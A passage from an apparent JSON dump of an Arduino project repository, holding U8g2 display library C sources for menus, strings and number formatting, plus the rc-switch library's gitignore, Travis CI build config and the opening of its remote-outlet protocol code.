U8X8_MSG_GPIO_MENU_DOWN  )\n    {\n      if ( cursor == 0 )\n\tcursor = button_cnt;\n      cursor--;\n      u8x8_draw_button_line(u8x8, y, u8x8_GetCols(u8x8), cursor, buttons);\n    }    \n  }  \n  return 0;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_selection_list.c",
    "content": "/*\n\n  u8x8_selection_list.c\n  \n  selection list with scroll option\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n#include \"u8x8.h\"\n\n/*\n  increase the cursor position\n*/\nvoid u8sl_Next(u8sl_t *u8sl)\n{\n  u8sl->current_pos++;\n  if ( u8sl->current_pos >= u8sl->total )\n  {\n    u8sl->current_pos = 0;\n    u8sl->first_pos = 0;\n  }\n  else\n  {\n    if ( u8sl->first_pos + u8sl->visible <= u8sl->current_pos + 1 )\n    {\n      u8sl->first_pos = u8sl->current_pos - u8sl->visible + 1;\n    }\n  }\n}\n\nvoid u8sl_Prev(u8sl_t *u8sl)\n{\n  if ( u8sl->current_pos == 0 )\n  {\n    u8sl->current_pos = u8sl->total - 1;\n    u8sl->first_pos = 0;\n    if ( u8sl->total > u8sl->visible )\n      u8sl->first_pos = u8sl->total - u8sl->visible;\n  }\n  else\n  {\n    u8sl->current_pos--;\n    if ( u8sl->first_pos > u8sl->current_pos )\n      u8sl->first_pos = u8sl->current_pos;\n  }\n}\n\nvoid u8x8_DrawSelectionList(u8x8_t *u8x8, u8sl_t *u8sl, u8x8_sl_cb sl_cb, const void *aux)\n{\n  uint8_t i;\n  for( i = 0; i < u8sl->visible; i++ )\n  {\n    sl_cb(u8x8, u8sl, i+u8sl->first_pos, aux);\n  }\n}\n\n/* selection list with string line */\nvoid u8x8_sl_string_line_cb(u8x8_t *u8x8, u8sl_t *u8sl, uint8_t idx, const void *aux)\n{\n  const char *s;\n  uint8_t row;\n  /* calculate offset from display upper border */\n  row = u8sl->y;\n  \n  /* calculate target pos */\n  row += idx;\n  row -= u8sl->first_pos;\n  \n  /* check whether this is the current cursor line */\n  if ( idx == u8sl->current_pos )\n    u8x8_SetInverseFont(u8x8, 1);\n  else\n    u8x8_SetInverseFont(u8x8, 0);\n  \n  /* get the line from the array */\n  s = u8x8_GetStringLineStart(idx, (const char *)aux);\n  \n  /* draw the line */\n  if ( s == NULL )\n    s = \"\";\n  u8x8_DrawUTF8Line(u8x8, u8sl->x, row, u8x8_GetCols(u8x8), s);  \n  u8x8_SetInverseFont(u8x8, 0);\n}\n\n/*\n  title: \t\tNULL for no title, valid str for title line. Can contain mutliple lines, separated by '\\n'\n  start_pos: \tdefault position for the cursor (starts with 1)\n  sl:\t\t\tstring list (list of strings separated by \\n)\n  returns 0 if user has pressed the home key\n  returns the selected line+1 if user has pressed the select key (e.g. 1 for the first line)\n*/\nuint8_t u8x8_UserInterfaceSelectionList(u8x8_t *u8x8, const char *title, uint8_t start_pos, const char *sl)\n{\n  u8sl_t u8sl;\n  uint8_t event;\n  uint8_t title_lines;\n  \n  if ( start_pos > 0 )\n    start_pos--;\n  \n  u8sl.visible = u8x8_GetRows(u8x8);\n  u8sl.total = u8x8_GetStringLineCnt(sl);\n  u8sl.first_pos = 0;\n  u8sl.current_pos = start_pos;\n  u8sl.x = 0;\n  u8sl.y = 0;\n  \n\n  //u8x8_ClearDisplay(u8x8);   /* not required because all is 100% filled */\n  u8x8_SetInverseFont(u8x8, 0);\n  \n  if ( title != NULL )\n  {\n    title_lines = u8x8_DrawUTF8Lines(u8x8, u8sl.x, u8sl.y, u8x8_GetCols(u8x8), title);\n    u8sl.y+=title_lines;\n    u8sl.visible-=title_lines;\n  }\n  \n  if ( u8sl.current_pos >= u8sl.total )\n    u8sl.current_pos = u8sl.total-1;\n\n  \n  u8x8_DrawSelectionList(u8x8, &u8sl, u8x8_sl_string_line_cb, sl);\n\n  for(;;)\n  {\n    event = u8x8_GetMenuEvent(u8x8);\n    if ( event == U8X8_MSG_GPIO_MENU_SELECT )\n      return u8sl.current_pos+1;\n    else if ( event == U8X8_MSG_GPIO_MENU_HOME )\n      return 0;\n    else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_DOWN )\n    {\n      u8sl_Next(&u8sl);\n      u8x8_DrawSelectionList(u8x8, &u8sl, u8x8_sl_string_line_cb, sl);      \n    }\n    else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == U8X8_MSG_GPIO_MENU_UP  )\n    {\n      u8sl_Prev(&u8sl);\n      u8x8_DrawSelectionList(u8x8, &u8sl, u8x8_sl_string_line_cb, sl);      \n    }\n  }\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_setup.c",
    "content": "/*\n\n  u8x8_setup.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n\n#include \"u8x8.h\"\n\n/* universal dummy callback, which will be default for all callbacks */\nuint8_t u8x8_dummy_cb(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr)\n{\n  /* the dummy callback will not handle any message and will fail for all messages */\n  return 0;\n}\n\n\nstatic const u8x8_display_info_t u8x8_null_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 0,\n  /* pre_chip_disable_wait_ns = */ 0,\n  /* reset_pulse_width_ms = */ 0, \n  /* post_reset_wait_ms = */ 0, \n  /* sda_setup_time_ns = */ 0,\t\t\n  /* sck_pulse_width_ns = */ 0,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 0,\n  /* write_pulse_width_ns = */ 0,\n  /* tile_width = */ 1,\t\t/* 8x8 */\n  /* tile_hight = */ 1,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 8,\n  /* pixel_height = */ 8\n};\n\n\n/* a special null device */\nuint8_t u8x8_d_null_cb(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_null_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      break;\n  }\n  /* the null device callback will succeed for all messages */\n  return 1;\n}\n\n\n/*\n  Description:\n    Setup u8x8\n  Args:\n    u8x8\tAn empty u8x8 structure\n*/\nvoid u8x8_SetupDefaults(u8x8_t *u8x8)\n{\n    u8x8->display_info = NULL;\n    u8x8->display_cb = u8x8_dummy_cb;\n    u8x8->cad_cb = u8x8_dummy_cb;\n    u8x8->byte_cb = u8x8_dummy_cb;\n    u8x8->gpio_and_delay_cb = u8x8_dummy_cb;\n    u8x8->is_font_inverse_mode = 0;\n    //u8x8->device_address = 0;\n    u8x8->utf8_state = 0;\t\t/* also reset by u8x8_utf8_init */\n    u8x8->bus_clock = 0;\t\t/* issue 769 */\n    u8x8->i2c_address = 255;\n    u8x8->debounce_default_pin_state = 255;\t/* assume all low active buttons */\n  \n#ifdef U8X8_USE_PINS \n  {\n    uint8_t i;\n    for( i = 0; i < U8X8_PIN_CNT; i++ )\n      u8x8->pins[i] = U8X8_PIN_NONE;\n  }\n#endif\n}\n\n\n/*\n  Description:\n    Setup u8x8 and assign the callback function. The dummy \n    callback \"u8x8_dummy_cb\" can be used, if no callback is required.\n    This setup will not communicate with the display itself.\n    Use u8x8_InitDisplay() to send the startup code to the Display.\n  Args:\n    u8x8\t\t\t\tAn empty u8x8 structure\n    display_cb\t\t\tDisplay/controller specific callback function\n    cad_cb\t\t\t\tDisplay controller specific communication callback function\n    byte_cb\t\t\tDisplay controller/communication specific callback funtion\n    gpio_and_delay_cb\tEnvironment specific callback function\n\n*/\nvoid u8x8_Setup(u8x8_t *u8x8, u8x8_msg_cb display_cb, u8x8_msg_cb cad_cb, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  /* setup defaults and reset pins to U8X8_PIN_NONE */\n  u8x8_SetupDefaults(u8x8);\n\n  /* setup specific callbacks */\n  u8x8->display_cb = display_cb;\n  u8x8->cad_cb = cad_cb;\n  u8x8->byte_cb = byte_cb;\n  u8x8->gpio_and_delay_cb = gpio_and_delay_cb;\n\n  /* setup display info */\n  u8x8_SetupMemory(u8x8);\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_string.c",
    "content": "/*\n\n  u8x8_string.c\n  \n  string line procedures\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.    \n\n*/\n\n#include \"u8x8.h\"\n\nuint8_t u8x8_GetStringLineCnt(const char *str)\n{\n  char e;\n  uint8_t line_cnt = 1;\n  if ( str == NULL )\n    return 0;\n  for(;;)\n  {\n    e = *str;\n    if ( e == '\\0' )\n      break;\n    str++;\n    if ( e == '\\n' )\n      line_cnt++;\n  }\n  return line_cnt;\n}\n\n\n/*\n    Assumes strings, separated by '\\n' in \"str\".\n    Returns the string at index \"line_idx\". First strng has line_idx = 0\n    Example:\n      Returns \"xyz\" for line_idx = 1 with str = \"abc\\nxyz\"\n    Support both UTF8 and normal strings.\n*/\nconst char *u8x8_GetStringLineStart(uint8_t line_idx, const char *str )\n{\n  char e;\n  uint8_t line_cnt = 1;\n  \n  if ( line_idx == 0 )\n    return str;\n\n  for(;;)\n  {\n    e = *str;\n    if ( e == '\\0' )\n      break;\n    str++;\n    if ( e == '\\n' )\n    {\n      if ( line_cnt == line_idx )\n\treturn str;\n      line_cnt++;\n    }\n  }\n  return NULL;\t/* line not found */\n}\n\n/* copy until first '\\n' or '\\0' in str */\n/* Important: There is no string overflow check, ensure */\n/* that the destination buffer is large enough */\nvoid u8x8_CopyStringLine(char *dest, uint8_t line_idx, const char *str)\n{\n  if ( dest == NULL )\n    return;\n  str = u8x8_GetStringLineStart( line_idx, str );\n  if ( str != NULL )\n  {\n    for(;;)\n    {\n      if ( *str == '\\n' || *str == '\\0' )\n\tbreak;\n      *dest = *str;\n      dest++;\n      str++;\n    }\n  }\n  *dest = '\\0';\n}\n\n/*\n  Draw a string\n  Extend the string to size \"w\"\n  Center the string within \"w\"\n  return the size of the string\n\n*/\nuint8_t u8x8_DrawUTF8Line(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t w, const char *s)\n{\n  uint8_t d, lw;\n  uint8_t cx, dx;\n    \n  d = 0;\n  \n  lw = u8x8_GetUTF8Len(u8x8, s);\n  if ( lw < w )\n  {\n    d = w;\n    d -=lw;\n    d /= 2;\n  }\n    \n  cx = x;\n  dx = cx + d;\n  while( cx < dx )\n  {\n    u8x8_DrawUTF8(u8x8, cx, y, \" \");\n    cx++;\n  }\n  cx += u8x8_DrawUTF8(u8x8, cx, y, s);\n  dx = x + w;\n  while( cx < dx )\n  {\n    u8x8_DrawUTF8(u8x8, cx, y, \" \");\n    cx++;\n  }\n  cx -= x;\n  return cx;\n}\n\n/*\n  draw several lines at position x,y.\n  lines are stored in s and must be separated with '\\n'.\n  lines can be centered with respect to \"w\" \n  if s == NULL nothing is drawn and 0 is returned\n  returns the number of lines in s\n*/\nuint8_t u8x8_DrawUTF8Lines(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t w, const char *s)\n{\n  uint8_t i;\n  uint8_t cnt;\n  cnt = u8x8_GetStringLineCnt(s);\n  for( i = 0; i < cnt; i++ )\n  {\n    u8x8_DrawUTF8Line(u8x8, x, y, w, u8x8_GetStringLineStart(i, s));\n    y++;\n  }\n  return cnt;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_u16toa.c",
    "content": "/*\n\n  u8x8_u16toa.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n\n\n#include \"u8x8.h\"\n\nconst char *u8x8_u16toap(char * dest, uint16_t v)\n{\n  uint8_t pos;\n  uint8_t d;\n  uint16_t c;\n  c = 10000;\n  for( pos = 0; pos < 5; pos++ )\n  {\n      d = '0';\n      while( v >= c )\n      {\n\tv -= c;\n\td++;\n      }\n      dest[pos] = d;\n      c /= 10;\n  }  \n  dest[5] = '\\0';\n  return dest;\n}\n\n/* v = value, d = number of digits */\nconst char *u8x8_u16toa(uint16_t v, uint8_t d)\n{\n  static char buf[6];\n  d = 5-d;\n  return u8x8_u16toap(buf, v) + d;\n}\n\nconst char *u8x8_utoa(uint16_t v)\n{\n  const char *s = u8x8_u16toa(v, 5);\n  while( *s == '0' )\n    s++;\n  if ( *s == '\\0' )\n    s--;\n  return s;\n}"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_u8toa.c",
    "content": "/*\n\n  u8x8_u8toa.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\nstatic const unsigned char u8x8_u8toa_tab[3]  = { 100, 10, 1 } ;\nconst char *u8x8_u8toap(char * dest, uint8_t v)\n{\n  uint8_t pos;\n  uint8_t d;\n  uint8_t c;\n  for( pos = 0; pos < 3; pos++ )\n  {\n      d = '0';\n      c = *(u8x8_u8toa_tab+pos);\n      while( v >= c )\n      {\n\tv -= c;\n\td++;\n      }\n      dest[pos] = d;\n  }  \n  dest[3] = '\\0';\n  return dest;\n}\n\n/* v = value, d = number of digits */\nconst char *u8x8_u8toa(uint8_t v, uint8_t d)\n{\n  static char buf[4];\n  d = 3-d;\n  return u8x8_u8toap(buf, v) + d;\n}\n\n"
  },
  {
    "path": "Bibliotecas/rc-switch-master/.gitignore",
    "content": "# Mac stuff\n.DS_Store\n\n# Compiled Object files\n*.slo\n*.lo\n*.o\n\n# Compiled Dynamic libraries\n*.so\n*.dylib\n\n# Compiled Static libraries\n*.lai\n*.la\n*.a\n\n"
  },
  {
    "path": "Bibliotecas/rc-switch-master/.travis.yml",
    "content": "language: c\npython:\n  - \"2.7\"\n\n# Cache PlatformIO packages using Travis CI container-based infrastructure \ncache:\n  pip: true\n  directories:\n      - \"~/.platformio\"\n\nenv:\n  - > \n    PLATFORMIO_CI_SRC=$PWD/examples/Webserver \n    ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/Webserver.ino\n    BOARDS=\"--board=diecimilaatmega328 --board=uno --board=esp01\"\n  - > \n    PLATFORMIO_CI_SRC=$PWD/examples/ReceiveDemo_Simple \n    ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/ReceiveDemo_Simple.ino\n    BOARDS=\"--board=diecimilaatmega328 --board=uno --board=esp01\"\n  - > \n    PLATFORMIO_CI_SRC=$PWD/examples/TypeC_Intertechno \n    ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/TypeC_Intertechno.ino\n    BOARDS=\"--board=diecimilaatmega328 --board=uno --board=esp01 --board=attiny25 --board=attiny24\"\n  - > \n    PLATFORMIO_CI_SRC=$PWD/examples/TypeD_REV \n    ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/TypeD_REV.ino\n    BOARDS=\"--board=diecimilaatmega328 --board=uno --board=esp01 --board=attiny25 --board=attiny24\"\n  - >\n    PLATFORMIO_CI_SRC=$PWD/examples/TypeA_WithDIPSwitches \n    ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/TypeA_WithDIPSwitches.ino\n    BOARDS=\"--board=diecimilaatmega328 --board=uno --board=esp01 --board=attiny25 --board=attiny24\"\n  - > \n    PLATFORMIO_CI_SRC=$PWD/examples/TypeA_WithDIPSwitches_Lightweight \n    ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/TypeA_WithDIPSwitches_Lightweight.ino\n    BOARDS=\"--board=diecimilaatmega328 --board=uno --board=esp01 --board=attiny25 --board=attiny24\"\n  - >\n    PLATFORMIO_CI_SRC=$PWD/examples/TypeB_WithRotaryOrSlidingSwitches \n    ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/TypeB_WithRotaryOrSlidingSwitches.ino\n    BOARDS=\"--board=diecimilaatmega328 --board=uno --board=esp01 --board=attiny25 --board=attiny24\"\n  - >\n    PLATFORMIO_CI_SRC=$PWD/examples/SendDemo \n    ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/SendDemo.ino\n    BOARDS=\"--board=diecimilaatmega328 --board=uno --board=esp01\"\n  - >\n    PLATFORMIO_CI_SRC=$PWD/examples/ReceiveDemo_Advanced \n    ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/ReceiveDemo_Advanced.ino\n    BOARDS=\"--board=diecimilaatmega328 --board=uno --board=esp01\"\n \nbefore_install:\n  # Arduino IDE\n  - \"/sbin/start-stop-daemon --start --quiet --pidfile /tmp/custom_xvfb_1.pid --make-pidfile --background --exec /usr/bin/Xvfb -- :1 -ac -screen 0 1280x1024x16\"\n  - sleep 3\n  - export DISPLAY=:1.0\n  - wget http://downloads.arduino.cc/arduino-1.6.9-linux64.tar.xz\n  - tar xf arduino-1.6.9-linux64.tar.xz\n  - sudo mv arduino-1.6.9 /usr/local/share/arduino\n  - sudo ln -s /usr/local/share/arduino/arduino /usr/local/bin/arduino\n  \ninstall:\n  # Arduino IDE\n  - ln -s $PWD /usr/local/share/arduino/libraries/rc-switch\n  # PlatformIO\n  - sudo pip install -U platformio\n\nscript:\n  # Arduino IDE\n  - arduino --verify --board arduino:avr:uno ${ARDUINOIDE_CI_SRC}\n  # PlatformIO\n  - platformio ci --lib=\".\" ${BOARDS}\n"
  },
  {
    "path": "Bibliotecas/rc-switch-master/RCSwitch.cpp",
    "content": "/*\n  RCSwitch - Arduino libary for remote control outlet switches\n  Copyright (c) 2011 Suat Özgür.  All right reserved.\n  \n  Contributors:\n  - Andre Koehler / info(at)tomate-online(dot)de\n  - Gordeev Andrey Vladimirovich / gordeev(at)openpyro(dot)com\n  - Skineffect / http://forum.ardumote.com/viewtopic.php?f=2&t=46\n  - Dominik Fischer / dom_fischer(at)web(dot)de\n  - Frank Oltmanns / <first name>.<last name>(at)gmail(dot)com\n  - Andreas Steinel / A.<lastname>(at)gmail(dot)com\n  - Max Horn / max(at)quendi(dot)de\n  - Robert ter Vehn / <first name>.<last name>(at)gmail(dot)com\n  - Johann Richard / <first name>.<last name>(at)gmail(dot)com\n  - Vlad Gheorghe / <first name>.<last name>(at)gmail(dot)com https://github.com/vgheo\n  - Martin Laclaustra / <first name>.<last name>(at)gmail(dot)com\n  \n  Project home: https://github.com/sui77/rc-switch/\n\n  This library is free software; you can redistribute it and/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n*/\n\n#include \"RCSwitch.h\"\n\n#ifdef RaspberryPi\n    // PROGMEM and _P functions are for AVR based microprocessors,\n    // so we must normalize these for the ARM processor:\n    #define PROGMEM\n    #define memcpy_P(dest, src, num) memcpy((dest), (src), (num))\n#endif\n\n#ifdef ESP8266\n    // interrupt handler and related code must be in RAM on ESP8266,\n    // according to issue #46.\n    #define RECEIVE_ATTR ICACHE_RAM_ATTR\n#else\n    #define RECEIVE_ATTR\n#endif\n\n\n/* Format for protocol definitions:\n * {pulselength, Sync bit, \"0\" bit, \"1\" bit}\n * \n * pulselength: pulse length in microseconds, e.g. 350\n * Sync bit: {1, 31} means 1 high pulse and 31 low pulses\n *     (perceived as a 31*pulselength long pulse, total length of sync bit is\n *     32*pulselength microseconds), i.e:\n *      _\n *     | |_______________________________ (don't count the vertical bars)\n * \"0\" bit: waveform for a data bit of value \"0\", {1, 3} means 1 high pulse\n *     and 3 low pulses, total length (1+3)*pulselength, i.e:\n *      _\n *     | |___\n * \"1\" bit: waveform for a data bit of value \"1\", e.g. {3,1}:\n *      ___\n *     |   |_\n *\n * These are combined to form Tri-State bits when sending or receiving codes.\n */\n#ifdef ESP8266\nstatic const RCSwitch::Protocol proto[] = {\n#else\nstatic const RCSwitch::Protocol PROGMEM proto[] = {\n#endif\n  { 350, {  1, 31 }, {  1,  3 }, {  3,  1 }, false },    // protocol 1\n  { 650, {  1, 10 }, {  1,  2 }, {  2,  1 }, false },    // protocol 2\n  { 100, { 30, 71 }, {  4, 11 }, {  9,  6 }, false },    // protocol 3\n  { 380, {  1,  6 }, {  1,  3 }, {  3,  1 }, false },    // protocol 4\n  { 500, {  6, 14 }, {  1,  2 }, {  2,  1 }, false },    // protocol 5\n  { 450, { 23,  1 }, {  1,  2 }, {  2,  1 }, true }      // protocol 6 (HT6P20B)\n};\n\nenum {\n   numProto = sizeof(proto) / sizeof(proto[0])\n};\n\n#if not defined( RCSwitchDisableReceiving )\nvolatile unsigned long RCSwitch::nReceivedValue = 0;\nvolatile unsigned int RCSwitch::nReceivedBitlength = 0;\nvolatile unsigned int RCSwitch::nReceivedDelay = 0;\nvolatile unsigned int RCSwitch::nReceivedProtocol = 0;\nbool RCSwitch::nReceivedInverted = false;\nunsigned int RCSwitch::nReceivedLevelInFirstTiming = 0;\nint RCSwitch::nReceiveTolerance = 60;\nconst unsigned int RCSwitch::nSeparationLimit = 2200;\n// separationLimit: minimum microseconds the first long part of the sync bit lasts.\n// set to 110% the longest bit duration known so far.\n// protocol 2: (650 * (1 + 2))=1950 ... x 110% ... ~ 2200\n// with this limit, in protocols 5 and 6, the high part of the sync bit will be recognized\n// as timing 0 which causes problems in timing 1 and in decoding interpretation\n\nunsigned int 